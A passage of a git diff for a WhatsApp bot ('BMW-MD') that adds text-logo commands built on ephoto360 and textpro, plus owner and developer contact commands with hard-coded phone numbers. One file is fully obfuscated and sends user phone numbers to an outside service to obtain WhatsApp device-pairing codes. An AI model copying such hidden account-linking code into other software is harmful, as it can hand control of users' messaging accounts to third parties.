+ repondre("🥵🥵 " + e);
+ }
+});
+adams({ nomCom: "dragonball", categorie: "Logo", reaction: "🐉" }, async (dest, zk, commandeOptions) => {
+ let { arg, repondre, prefixe, ms } = commandeOptions;
+ try {
+ const noArgMsg = `*_EXEMPLE *: ${prefixe}dragonball Ibrahim adams`;
+ // if(arg=='') {await zok.sendMessage(dest,{text:noArgMsg},{quoted:infoMessage}); return;}
+ if (arg == '' || !arg) {
+ repondre(noArgMsg);
+ return;
+ }
+ var lienMaker = "https://ephoto360.com/tao-hieu-ung-chu-phong-cach-dragon-ball-truc-tuyen-1000.html";
+ var lienMaker2 = "https://en.ephoto360.com/create-dragon-ball-style-text-effects-online-809.html";
+
+
+ const imgInfo = await mumaker.ephoto(lienMaker2, arg.join(' '));
+
+ await zk.sendMessage(dest, { text: " *\t Traitement en cours ...*" }, { quoted: ms });
+ // var idImg = Object.values(imgInfo)[3];
+
+ await zk.sendMessage(dest, { image: { url: imgInfo.image }, caption: "* \t Logo by Bmw-Md*" }, { quoted: ms });
+ }
+ catch (e) {
+ repondre("🥵🥵 " + e);
+ }
+});
+////////////////////////////
+adams({ nomCom: "naruto", categorie: "Logo", reaction: "⛩" }, async (dest, zk, commandeOptions) => {
+ let { ms, arg, repondre, prefixe } = commandeOptions;
+ try {
+ if (!arg || arg == '') {
+ repondre("*_Exemple : * " + prefixe + "naruto ibrahim");
+ return;
+ }
+ var nar = "https://en.ephoto360.com/naruto-shippuden-logo-style-text-effect-online-808.html";
+ //let img= await //mumaker.textpro('https://textpro.me/create-naruto-logo-style-text-effect-online-1125.html',arg);
+ repondre("*traitement en cours...*");
+ var radio2 = "e0723d60-fc0d-421f-bf8f-a9b9b61e4be6";
+ var img = await mumaker.ephoto("https://en.ephoto360.com/naruto-shippuden-logo-style-text-effect-online-808.html", arg.join(' '));
+
+ await zk.sendMessage(dest, { image: { url: img.image }, caption: "\t\t *Logo by Bmw-md*" }, { quoted: ms });
+ }
+ catch (e) {
+ repondre("🥵🥵 " + e);
+ }
+});
+//didong
+/*zokou({ nomCom: "didong", categorie: "Logo", reaction: "📱" }, async (dest, zk, commandeOptions) => {
+ let { ms, repondre, arg, prefixe } = commandeOptions;
+
+ var titre = "\t logo by Bmw-Md";
+ try {
+ var lien = "https://ephoto360.com/tao-anh-che-vui-tu-choi-cuoc-goi-voi-ten-cua-ban-930.html";
+ if (!arg || arg == "") {
+ repondre(`*exemple :* ${prefixe}didong Zokou`)
+ return ;
+ }
+ console.log(typeof arg[0])
+ var maker = mumaker.ephoto(lien, "arg");
+ var lienImg = Object.values(maker)[1];
+ await zk.sendMessage(dest, { image: { url: lienImg }, caption: titre });
+ }
+ catch (e) {
+ repondre("🥵🥵 " + e);
+ }
+});
+*/
+
+
+adams({ nomCom: "didong", categorie: "Logo", reaction: "📱" }, async (dest, zk, commandeOptions) => {
+ let { arg, repondre, prefixe, ms } = commandeOptions;
+ try {
+ var titre = "\t* logo by Bmw-Md*";
+ var lien = "https://ephoto360.com/tao-anh-che-vui-tu-choi-cuoc-goi-voi-ten-cua-ban-930.html";
+ if (!arg || arg == "") {
+ repondre(`*exemple :* ${prefixe}didong ibrahim adams`)
+ return ;
+ }
+
+ var maker =await mumaker.ephoto(lien,arg.join(' '));
+
+
+ repondre('*processing...*')
+ await zk.sendMessage(dest, { image: { url: maker.image}, caption: titre });
+ }
+ catch (e) {
+ repondre("🥵🥵 " + e);
+ }
+ }
+);
+
+
+adams({nomCom : "wall",categorie : "Logo",reaction : "👍"} , async (dest,zk,commandeOptions) =>{
+
+ const {arg,repondre,ms,prefixe} = commandeOptions;
+ if(!arg[0]) { repondre( `Exemple of using commande:\n ${prefixe}wall BMW-MD` ); return ;}
+ let text = arg.join(" ")
+ mumaker.textpro("https://textpro.me/break-wall-text-effect-871.html", text)
+.then((data) =>{
+ zk.sendMessage(dest,{image : { url : data.image},caption : 'Logo by'},{quoted:ms})
+})
+.catch(console.log)
+})
+;
+adams({nomCom: "summer", categorie: "Logo", reaction: "🌞"}, async (dest, zk, commandeOptions) => {
+ const { arg, repondre, ms, prefixe } = commandeOptions;
+ if (!arg[0]) {
+ repondre(`Exemple of using commande:\n ${prefixe}summer My text`);
+ return;
+ }
+
+ const text = arg.join(" ");
+ mumaker.textpro("https://textpro.me/create-sunset-light-text-effects-online-for-free-1124.html", text)
+ .then((data) => {
+ zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by' }, { quoted: ms });
+ })
+ .catch(console.error);
+});
+
+adams({nomCom: "neonlight", categorie: "Logo", reaction: "💡"}, async (dest, zk, commandeOptions) => {
+ const { arg, repondre, ms, prefixe } = commandeOptions;
+ /*if (!arg[0]) {
+ repondre(`Exemple of using commande:\n ${prefixe}neonlight My text`);
+ return;
+ }*/
+ if(!arg ||arg=="")
+ {
+ repondre(`Exemple of using commande:\n ${prefixe}neonlight My text`);
+ return;
+ }
+
+ const text = arg.join(" ");
+ try{
+
+ let maker=await mumaker.textpro("https://textpro.me/create-glowing-neon-light-text-effect-online-free-1061.html",arg)
+ //repondre(stringify(maker))
+ /*.then((data) => {*/
+ zk.sendMessage(dest, { image: { url: maker.image }, caption: 'Logo by Bmw-md' }, { quoted: ms });
+
+ /*.catch(console.error);*/
+
+
+}catch(e){repondre("🥵🥵 "+e)}
+
+});
+
+adams({nomCom: "greenneon", categorie: "Logo", reaction: "🟢"}, async (dest, zk, commandeOptions) => {
+ const { arg, repondre, ms, prefixe } = commandeOptions;
+ if (!arg[0]) {
+ repondre(`Exemple of using commande:\n ${prefixe}greenneon My text`);
+ return;
+ }
+
+ const text = arg.join(" ");
+ mumaker.textpro("https://textpro.me/green-neon-text-effect-874.html", text)
+ .then((data) => {
+ zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by' }, { quoted: ms });
+ })
+ .catch(console.error);
+});
+
+adams({nomCom: "glitch", categorie: "Logo", reaction: "🎛️"}, async (dest, zk, commandeOptions) => {
+ const { arg, repondre, ms, prefixe } = commandeOptions;
+ if (!arg[0]) {
+ repondre(`Exemple of using commande:\n ${prefixe}glitch My text`);
+ return;
+ }
+
+ const text = arg.join(" ");
+ mumaker.textpro("https://textpro.me/create-impressive-glitch-text-effects-online-1027.html", text)
+ .then((data) => {
+ zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
+ })
+ .catch(console.error);
+});
+
+adams({nomCom: "devil", categorie: "Logo", reaction: "😈"}, async (dest, zk, commandeOptions) => {
+ const { arg, repondre, ms, prefixe } = commandeOptions;
+ if (!arg[0]) {
+ repondre(`Exemple of using commande:\n ${prefixe}devil My text`);
+ return;
+ }
+
+ const text = arg.join(" ");
+ mumaker.textpro("https://textpro.me/create-neon-devil-wings-text-effect-online-free-1014.html",arg)
+ .then((data) => {
+ zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
+ })
+ .catch(console.error);
+});
+////////////////////
+adams(
+ {nomCom:"boom",categorie:
+ "Logo",reaction:"💥"},async(dest,zk,commandeOptions)=>{
+
+ let {ms,repondre,prefixe,arg}=commandeOptions;
+
+ if(!arg||arg=="")
+ {
+
+ repondre(` Exemple :* ${prefixe}boom Beltah`)
+ return ;
+ }
+ try{
+ var radio2 = "e0723d60-fc0d-421f-bf8f-a9b9b61e4be6";
+ let radio = "984dd03e-220d-4335-a6ba-7ac56b092240";
+var lien="https://en.ephoto360.com/boom-text-comic-style-text-effect-675.html";
+ console.log(arg)
+ var img =await mumaker.ephoto(lien,arg)
+
+ //var idImg = Object.values(img)[3];
+ // var lienImage = "https://e1.yotools.net/" + idImg;
+
+ /* let radio = "984dd03e-220d-4335-a6ba-7ac56b092240";
+ var v="https://en.ephoto360.com/boom-text-comic-style-text-effect-675.html";
+ var c="https://en.ephoto360.com/create-anonymous-hacker-avatars-cyan-neon-677.html"
+ let anu = await mumaker.ephoto4(v, arg, radio);
+ let res = Object.values(anu)[3];*/
+ // console.log("&€"+res);
+ // let lien = "https://e1.yotools.net" + res;
+
+
+repondre(" processing ...")
+ await zk.sendMessage(dest,{image:{url:img.image},caption:"\t *Logo by bmw-Md*"})
+
+ // await zk.sendMessage(dest,{image:{url:lienImage},caption:"\t *Logo by Bmw-Md*"})
+
+
+
+ }catch(e){repondre("🥵🥵 "+e)}
+
+ }
+)
+//water
+adams({nomCom:"water",categorie:"Logo",reation:"💦"},async(dest,zk,commandeOptions)=>{
+
+
+var {ms,repondre,arg,prefixe}=commandeOptions;
+ if(!arg||arg=="")
+ {
+ repondre(`${prefixe}water zokou`)
+ return;
+ }
+ try{
+ var lien ="https://en.ephoto360.com/create-water-effect-text-online-295.html";
+ var img =await mumaker.ephoto(lien,arg);
+ repondre(" processing ...")
+ await zk.sendMessage(dest,{image:{url:img.image},caption:" *Logo by Bmw-Md*"})
+ }catch(e){repondre(`🥵🥵 ${e}`)}
+
+});
+
+adams({ nomCom: "snow", categorie: "Logo", reaction: "❄️" }, async (dest, zk, commandeOptions) => {
+ const { arg, ms, prefixe,repondre } = commandeOptions;
+ if (!arg[0]) {
+ repondre(`Exemple of using commande:\n ${prefixe}Snow My text`);
+ return;
+ }
+
+ const text = arg.join(" ");
+ mumaker.textpro("https://textpro.me/create-beautiful-3d-snow-text-effect-online-1101.html", text)
+ .then((data) => {
+ zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
+ })
+ .catch((err) => {
+ console.error("Une erreur s'est produite :", err);
+ });
+});
+
+adams({ nomCom: "transformer", categorie: "Logo", reaction: "🤖" }, async (dest, zk, commandeOptions) => {
+ const { arg, ms, prefixe,repondre } = commandeOptions;
+ if (!arg[0]) {
+ repondre(`Exemple of using commande:\n ${prefixe}Transformer My text`);
+ return;
+ }
+
+ const text = arg.join(" ");
+ mumaker.textpro("https://textpro.me/create-a-transformer-text-effect-online-1035.html", text)
+ .then((data) => {
+ zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
+ })
+ .catch((err) => {
+ console.error("Une erreur s'est produite :", err);
+ });
+});
+
+adams({ nomCom: "thunder", categorie: "Logo", reaction: "⚡" }, async (dest, zk, commandeOptions) => {
+ const { arg, ms, prefixe,repondre } = commandeOptions;
+ if (!arg[0]) {
+ repondre(`Exemple of using commande:\n ${prefixe}Thunder My text`);
+ return;
+ }
+
+ const text = arg.join(" ");
+ mumaker.textpro("https://textpro.me/online-thunder-text-effect-generator-1031.html", text)
+ .then((data) => {
+ zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
+ })
+ .catch((err) => {
+ console.error("Une erreur s'est produite :", err);
+ });
+});
+
+adams({ nomCom: "harrypotter", categorie: "Logo", reaction: "🧙♂️" }, async (dest, zk, commandeOptions) => {
+ const { arg, ms, prefixe,repondre } = commandeOptions;
+ if (!arg[0]) {
+ repondre(`Exemple of using commande:\n ${prefixe}HarryPotter My text`);
+ return;
+ }
+
+ const text = arg.join(" ");
+ mumaker.textpro("https://textpro.me/create-harry-potter-text-effect-online-1025.html", text)
+ .then((data) => {
+ zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by' }, { quoted: ms });
+ })
+ .catch((err) => {
+ console.error("Une erreur s'est produite :", err);
+ });
+});
+
+adams({ nomCom: "cat", categorie: "Logo", reaction: "🪟" }, async (dest, zk, commandeOptions) => {
+ const { arg, ms, prefixe } = commandeOptions;
+ if (!arg[0]) {
+ repondre(`Exemple of using commande:\n ${prefixe}FoggyWindow My text`);
+ return;
+ }
+
+ const text = arg.join(" ");
+ mumaker.textpro("https://textpro.me/write-text-on-foggy-window-online-free-1015.html", text)
+ .then((data) => {
+ zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
+ })
+ .catch((err) => {
+ console.error("Une erreur s'est produite :", err);
+ });
+});
+
+
+
+adams({ nomCom: "whitegold", categorie: "Logo", reaction: "💫" }, async (dest, zk, commandeOptions) => {
+ const { arg, ms, prefixe,repondre } = commandeOptions;
+ if (!arg[0]) {
+ repondre(`Exemple of using commande:\n ${prefixe}WhiteGold My text`);
+ return;
+ }
+
+ const text = arg.join(" ");
+ mumaker.textpro("https://textpro.me/elegant-white-gold-3d-text-effect-online-free-1070.html", text)
+ .then((data) => {
+ zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
+ })
+ .catch((err) => {
+ console.error("Une erreur s'est produite :", err);
+ });
+});
+
+adams({ nomCom: "lightglow", categorie: "Logo", reaction: "🌟" }, async (dest, zk, commandeOptions) => {
+ const { arg, ms, prefixe,repondre } = commandeOptions;
+ if (!arg[0]) {
+ repondre(`Exemple of using commande:\n ${prefixe}LightGlow My text`);
+ return;
+ }
+
+ const text = arg.join(" ");
+ mumaker.textpro("https://textpro.me/create-light-glow-sliced-text-effect-online-1068.html", text)
+ .then((data) => {
+ zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
+ })
+ .catch((err) => {
+ console.error("Une erreur s'est produite :", err);
+ });
+});
+
+adams({ nomCom: "thor", categorie: "Logo", reaction: "🔨" }, async (dest, zk, commandeOptions) => {
+ const { arg, ms, prefixe,repondre } = commandeOptions;
+ if (!arg[0]) {
+ repondre(`Exemple of using commande:\n ${prefixe}Thor My text`);
+ return;
+ }
+
+ const text = arg.join(" ");
+ mumaker.textpro("https://textpro.me/create-thor-logo-style-text-effect-online-1064.html", text)
+ .then((data) => {
+ zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
+ })
+ .catch((err) => {
+ console.error("Une erreur s'est produite :", err);
+ });
+});
+
+adams({ nomCom: "neon", categorie: "Logo", reaction: "💡" }, async (dest, zk, commandeOptions) => {
+ const { arg, ms, prefixe,repondre } = commandeOptions;
+ if (!arg[0]) {
+ repondre(`Exemple of using commande:\n ${prefixe}Neon My text`);
+ return;
+ }
+
+ const text = arg.join(" ");
+ mumaker.textpro("https://textpro.me/neon-text-effect-online-879.html", text)
+ .then((data) => {
+ zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
+ })
+ .catch((err) => {
+ console.error("Une erreur s'est produite :", err);
+ });
+});
+
+
+
+adams({nomCom:"purple",categorie:"Logo",reaction:"🧳"},async(dest,zk,commandeOptions)=>{
+ var {ms,repondre,prefixe,arg}=commandeOptions;
+
+ try{
+ if(!arg||arg=="")
+ {
+ repondre(prefixe+"purple zokou");return;}
+ const lien="https://en.ephoto360.com/purple-text-effect-online-100.html"
+ var img = await mumaker.ephoto(lien,arg);
+ repondre(" processing ...")
+ await zk.sendMessage(dest,{image:{url:img.image},caption:" *Logo by Bmw-MD*"});
+ }catch(e){repondre(e)}
+
+})
+
+adams({nomCom:"gold",categorie:"Logo",reaction:"🧚🏿♀️"},async(dest,zk,commandeOptions)=>{
+
+
+ let {ms,arg,prefixe,repondre}=commandeOptions;
+ try{
+ if(!arg||arg=="")
+ {
+ repondre(prefixe+"gold Bmw-MD");return;
+ }
+
+ var lien="https://en.ephoto360.com/modern-gold-4-213.html";
+
+ var img = await mumaker.ephoto(lien,arg);
+ repondre("processing ...")
+ await zk.sendMessage(dest,{image:{url:img.image},caption:" *Logo by Bwm-Md*"},{quoted:ms})
+ }catch(e){repondre(e)}
+})
+
+
+adams({nomCom:"arena",categorie:"Logo",reaction:"🥵"},async(dest,zk,commandeOptions)=>{
+
+
+ let {ms,arg,prefixe,repondre}=commandeOptions;
+ try{
+ if(!arg||arg=="")
+ {
+ repondre(prefixe+"arena Bmw-MD");return;
+ }
+
+ var lien="https://en.ephoto360.com/create-cover-arena-of-valor-by-mastering-360.html";
+
+ var img = await mumaker.ephoto(lien,arg.join(' '));
+ repondre("processing ...")
+ await zk.sendMessage(dest,{image:{url:img.image},caption:" *Logo by Bwm-Md*"},{quoted:ms})
+ }catch(e){repondre(e)}
+})
+
+adams({nomCom:"incandescent",categorie:"Logo",reaction:"😋"},async(dest,zk,commandeOptions)=>{
+
+
+ let {ms,arg,prefixe,repondre}=commandeOptions;
+ try{
+ if(!arg||arg=="")
+ {
+ repondre(prefixe+"incandescent Bmw-MD");return;
+ }
+
+ var lien="https://en.ephoto360.com/text-effects-incandescent-bulbs-219.html";
+
+ var img = await mumaker.ephoto(lien,arg.join(' '));
+ repondre("processing ...")
+ await zk.sendMessage(dest,{image:{url:img.image},caption:" *Logo by Bmw-Md*"},{quoted:ms})
+ }catch(e){repondre(e)}
+})
diff --git a/scs/bmwbut.js b/scs/bmwbut.js
new file mode 100644
index 0000000..999e256
--- /dev/null
+++ b/scs/bmwbut.js
@@ -0,0 +1 @@
+function _0x234a(_0x3bb2ff,_0x3a4ce0){const _0x528b7c=_0x528b();return _0x234a=function(_0x234a91,_0x38596a){_0x234a91=_0x234a91-0x15a;let _0x5d9489=_0x528b7c[_0x234a91];return _0x5d9489;},_0x234a(_0x3bb2ff,_0x3a4ce0);}const _0x4ec482=_0x234a;function _0x528b(){const _0x53ffcc=['NativeFlowMessage','https://www.youtube.com/@ibrahimaitech','https://ibraah-adams-432q.onrender.com/code?number=','10XIZehv','245356mOPdzL','cta_url','https://github.com/devibraah/BWM-XMD','26168XKmTtg','stringify','Body','741846iTYVZW','https://bmw-md-web-by-ibrahim.vercel.app/','⭕\x20FOLLOW\x20WACHANNEL','25830MXrvEh','473298aXsMKV','ibraah1','Analyzing\x20ibraah\x20info.....','☕\x20BUY\x20ME\x20A\x20COFFEE','message','1344393nswWCB','axios','get','User','Header','ibraah','🎬\x20MOVIES','462arEgsY','*\x0a│\x20ᴅᴇᴠ:\x20*sɪʀ\x20ɪʙʀᴀʜɪᴍ*\x0a╰─────═━┈┈━═──━┈⊷','\x20*Made\x20by\x20Ibrahim\x20Adams*','Error\x20getting\x20response\x20from\x20Api.','create','💢\x20YOUTUBE','https://t.me/ibrahimtechai','Footer','30CxWEOu','InteractiveMessage','https://t.me/ibraahadams','😎\x20CONTACT\x20ME','\x0a╭─────═━┈┈━═──━┈⊷\x0a│\x20ʙᴏᴛ\x20ɴᴀᴍᴇ:\x20*ʙᴍᴡ\x20ᴍᴅ*\x0a│\x20ᴠᴇʀꜱɪᴏɴ:\x20*7.1.8*\x0a│\x20ᴄʏᴘ:\x20*','../Ibrahim/traduction','https://ibrahim-adams.vercel.app','relayMessage','Error\x20getting\x20Api\x20response:','https://www.instagram.com/ibrahimadamstech','🌍\x20INSTAGRAM','📂\x20REPO','code','Message','Invalid\x20response\x20from\x20Api.','../Ibrahim/adams','length','Type\x20.ibraah\x201','50709gLQJJN','@whiskeysockets/baileys','Type\x20*.ibraah\x201*'];_0x528b=function(){return _0x53ffcc;};return _0x528b();}(function(_0x3b5468,_0x1245a4){const _0x368d34=_0x234a,_0x11dc8b=_0x3b5468();while(!![]){try{const _0x69edaa=-parseInt(_0x368d34(0x180))/0x1+parseInt(_0x368d34(0x190))/0x2+-parseInt(_0x368d34(0x18d))/0x3+-parseInt(_0x368d34(0x187))/0x4*(-parseInt(_0x368d34(0x186))/0x5)+parseInt(_0x368d34(0x15a))/0x6+-parseInt(_0x368d34(0x166))/0x7*(parseInt(_0x368d34(0x18a))/0x8)+-parseInt(_0x368d34(0x15f))/0x9*(-parseInt(_0x368d34(0x16e))/0xa);if(_0x69edaa===_0x1245a4)break;else _0x11dc8b['push'](_0x11dc8b['shift']());}catch(_0x304015){_0x11dc8b['push'](_0x11dc8b['shift']());}}}(_0x528b,0x244fa));const {adams}=require(_0x4ec482(0x17d)),traduire=require(_0x4ec482(0x173)),{default:axios}=require(_0x4ec482(0x160)),pkg=require(_0x4ec482(0x181)),{generateWAMessageFromContent,proto}=pkg;adams({'nomCom':_0x4ec482(0x164),'reaction':'😎','categorie':_0x4ec482(0x162)},async(_0x2b1f8a,_0x18719b,_0x386863)=>{const _0x391b37=_0x4ec482,{repondre:_0x27fe92,arg:_0x5b0c50,ms:_0x44fdc3}=_0x386863;try{if(!_0x5b0c50||_0x5b0c50[_0x391b37(0x17e)]===0x0)return _0x27fe92('Type\x20*.ibraah\x201*');await _0x27fe92(_0x391b37(0x15c));const _0x4c5d12=encodeURIComponent(_0x5b0c50['join']('\x20')),_0x550e56=_0x391b37(0x185)+_0x4c5d12,_0x4c5f43=await axios[_0x391b37(0x161)](_0x550e56),_0x5cce19=_0x4c5f43['data'];if(_0x5cce19&&_0x5cce19['code']){const _0x24391b=_0x5cce19[_0x391b37(0x17a)],_0x19707b=_0x391b37(0x172)+_0x24391b+_0x391b37(0x167),_0x3d18c3=[{'name':'cta_url','buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':'🌍\x20BMW\x20WEB','url':_0x391b37(0x18e)})},{'name':'cta_url','buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':'✅\x20SESSION','url':_0x391b37(0x174)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':_0x391b37(0x179),'url':_0x391b37(0x189)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON['stringify']({'display_text':_0x391b37(0x15d),'url':_0x391b37(0x189)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':'🌍\x20INSTAGRAM','url':_0x391b37(0x177)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':_0x391b37(0x16b),'url':_0x391b37(0x184)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':_0x391b37(0x165),'url':_0x391b37(0x16c)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':'😎\x20CONTACT\x20ME','url':_0x391b37(0x170)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':_0x391b37(0x18f),'url':'https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y'})}],_0x5d65ae=generateWAMessageFromContent(_0x2b1f8a,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x391b37(0x17b)]['InteractiveMessage'][_0x391b37(0x16a)]({'body':proto[_0x391b37(0x17b)][_0x391b37(0x16f)][_0x391b37(0x18c)][_0x391b37(0x16a)]({'text':_0x19707b}),'footer':proto['Message'][_0x391b37(0x16f)][_0x391b37(0x16d)][_0x391b37(0x16a)]({'text':_0x391b37(0x168)}),'header':proto[_0x391b37(0x17b)][_0x391b37(0x16f)][_0x391b37(0x163)][_0x391b37(0x16a)]({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x391b37(0x17b)][_0x391b37(0x16f)]['NativeFlowMessage'][_0x391b37(0x16a)]({'buttons':_0x3d18c3})})}}},{});await _0x18719b[_0x391b37(0x175)](_0x2b1f8a,_0x5d65ae[_0x391b37(0x15e)],{'messageId':_0x5d65ae['key']['id']});}else throw new Error(_0x391b37(0x17c));}catch(_0x4f61ec){console['error'](_0x391b37(0x176),_0x4f61ec[_0x391b37(0x15e)]),_0x27fe92(_0x391b37(0x169));}}),adams({'nomCom':_0x4ec482(0x15b),'reaction':'🚘','categorie':_0x4ec482(0x162)},async(_0x2552bb,_0x1e6649,_0x1a20fe)=>{const _0x5792e1=_0x4ec482,{repondre:_0x3c48b,arg:_0x426199,ms:_0x53da5a}=_0x1a20fe;try{if(!_0x426199||_0x426199[_0x5792e1(0x17e)]===0x0)return _0x3c48b(_0x5792e1(0x182));await _0x3c48b(_0x5792e1(0x15c));const _0x4a3b71=encodeURIComponent(_0x426199['join']('\x20')),_0x149caa=_0x5792e1(0x185)+_0x4a3b71,_0x4994bf=await axios[_0x5792e1(0x161)](_0x149caa),_0x58e8cd=_0x4994bf['data'];if(_0x58e8cd&&_0x58e8cd[_0x5792e1(0x17a)]){const _0xdc7547=_0x58e8cd[_0x5792e1(0x17a)],_0x774441=_0x5792e1(0x172)+_0xdc7547+_0x5792e1(0x167),_0x5d157c=[{'name':_0x5792e1(0x188),'buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':'🌍\x20BMW\x20WEB','url':_0x5792e1(0x18e)})},{'name':'cta_url','buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':'✅\x20SESSION','url':_0x5792e1(0x174)})},{'name':_0x5792e1(0x188),'buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':_0x5792e1(0x179),'url':_0x5792e1(0x189)})},{'name':_0x5792e1(0x188),'buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':_0x5792e1(0x15d),'url':_0x5792e1(0x189)})},{'name':'cta_url','buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':_0x5792e1(0x178),'url':_0x5792e1(0x177)})},{'name':_0x5792e1(0x188),'buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':_0x5792e1(0x16b),'url':_0x5792e1(0x184)})},{'name':'cta_url','buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':_0x5792e1(0x165),'url':_0x5792e1(0x16c)})},{'name':_0x5792e1(0x188),'buttonParamsJson':JSON['stringify']({'display_text':_0x5792e1(0x171),'url':_0x5792e1(0x170)})},{'name':_0x5792e1(0x188),'buttonParamsJson':JSON['stringify']({'display_text':_0x5792e1(0x18f),'url':'https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y'})}],_0x4ba821=generateWAMessageFromContent(_0x2552bb,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x5792e1(0x17b)][_0x5792e1(0x16f)]['create']({'body':proto['Message']['InteractiveMessage'][_0x5792e1(0x18c)][_0x5792e1(0x16a)]({'text':_0x774441}),'footer':proto[_0x5792e1(0x17b)]['InteractiveMessage'][_0x5792e1(0x16d)]['create']({'text':'\x20*Made\x20by\x20Ibrahim\x20Adams*'}),'header':proto[_0x5792e1(0x17b)][_0x5792e1(0x16f)][_0x5792e1(0x163)][_0x5792e1(0x16a)]({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x5792e1(0x17b)]['InteractiveMessage'][_0x5792e1(0x183)]['create']({'buttons':_0x5d157c})})}}},{});await _0x1e6649['relayMessage'](_0x2552bb,_0x4ba821['message'],{'messageId':_0x4ba821['key']['id']});}else throw new Error(_0x5792e1(0x17f));}catch(_0x1ff971){console['error'](_0x5792e1(0x17f),_0x1ff971[_0x5792e1(0x15e)]),_0x3c48b(_0x5792e1(0x17f));}});
diff --git a/scs/bmwbutton.js b/scs/bmwbutton.js
new file mode 100644
index 0000000..139597f
--- /dev/null
+++ b/scs/bmwbutton.js
@@ -0,0 +1,2 @@
+
+
diff --git a/scs/bmwc.js b/scs/bmwc.js
new file mode 100644
index 0000000..efeb319
--- /dev/null
+++ b/scs/bmwc.js
@@ -0,0 +1,102 @@
+
+const { adams } = require("../Ibrahim/adams");
+const {getAllSudoNumbers,isSudoTableNotEmpty} = require("../lib/sudo")
+const conf = require("../config");
+
+adams({ nomCom: "owner", categorie: "General", reaction: "🚘" }, async (dest, zk, commandeOptions) => {
+ const { ms , mybotpic } = commandeOptions;
+
+ const thsudo = await isSudoTableNotEmpty()
+
+ if (thsudo) {
+ let msg = `*My Super-User*\n
+ *Owner Number*\n :
+- 🌟 @${conf.NUMERO_OWNER}
+
+------ *other sudos* -----\n`
+
+ let sudos = await getAllSudoNumbers()
+
+ for ( const sudo of sudos) {
+ if (sudo) { // Vérification plus stricte pour éliminer les valeurs vides ou indéfinies
+ sudonumero = sudo.replace(/[^0-9]/g, '');
+ msg += `- 💼 @${sudonumero}\n`;
+ } else {return}
+
+ } const ownerjid = conf.NUMERO_OWNER.replace(/[^0-9]/g) + "@s.whatsapp.net";
+ const mentionedJid = sudos.concat([ownerjid])
+ console.log(sudos);
+ console.log(mentionedJid)
+ zk.sendMessage(
+ dest,
+ {
+ image : { url : mybotpic() },
+ caption : msg,
+ mentions : mentionedJid
+ }
+ )
+ } else {
+ const vcard =
+ 'BEGIN:VCARD\n' + // metadata of the contact card
+ 'VERSION:3.0\n' +
+ 'FN:' + conf.OWNER_NAME + '\n' + // full name
+ 'ORG:undefined;\n' + // the organization of the contact
+ 'TEL;type=CELL;type=VOICE;waid=' + conf.NUMERO_OWNER + ':+' + conf.NUMERO_OWNER + '\n' + // WhatsApp ID + phone number
+ 'END:VCARD';
+ zk.sendMessage(dest, {
+ contacts: {
+ displayName: conf.OWNER_NAME,
+ contacts: [{ vcard }],
+ },
+ },{quoted:ms});
+ }
+});
+
+adams({ nomCom: "dev", categorie: "General", reaction: "🚘" }, async (dest, zk, commandeOptions) => {
+ const { ms, mybotpic } = commandeOptions;
+
+ const devs = [
+ { nom: "Ibrahim", numero: "254710772666" },
+ { nom: "᚛Baraka᚜", numero: "255762190568" },
+ { nom: "Beltah", numero: "254114141192" },
+ // Ajoute d'autres développeurs ici avec leur nom et numéro
+ ];
+
+ let message = "WELCOME TO BMW HELP CENTER! ASK FOR HELP FROM ANY OF THE DEVELOPERS BELOW:\n\n";
+ for (const dev of devs) {
+ message += `----------------\n• ${dev.nom} : https://wa.me/${dev.numero}\n`;
+ }
+ var lien = mybotpic()
+ if (lien.match(/\.(mp4|gif)$/i)) {
+ try {
+ zk.sendMessage(dest, { video: { url: lien }, caption:message }, { quoted: ms });
+ }
+ catch (e) {
+ console.log("🥵🥵 Menu erreur " + e);
+ repondre("🥵🥵 Menu erreur " + e);
+ }
+}
+// Vérification pour .jpeg ou .png
+else if (lien.match(/\.(jpeg|png|jpg)$/i)) {
+ try {
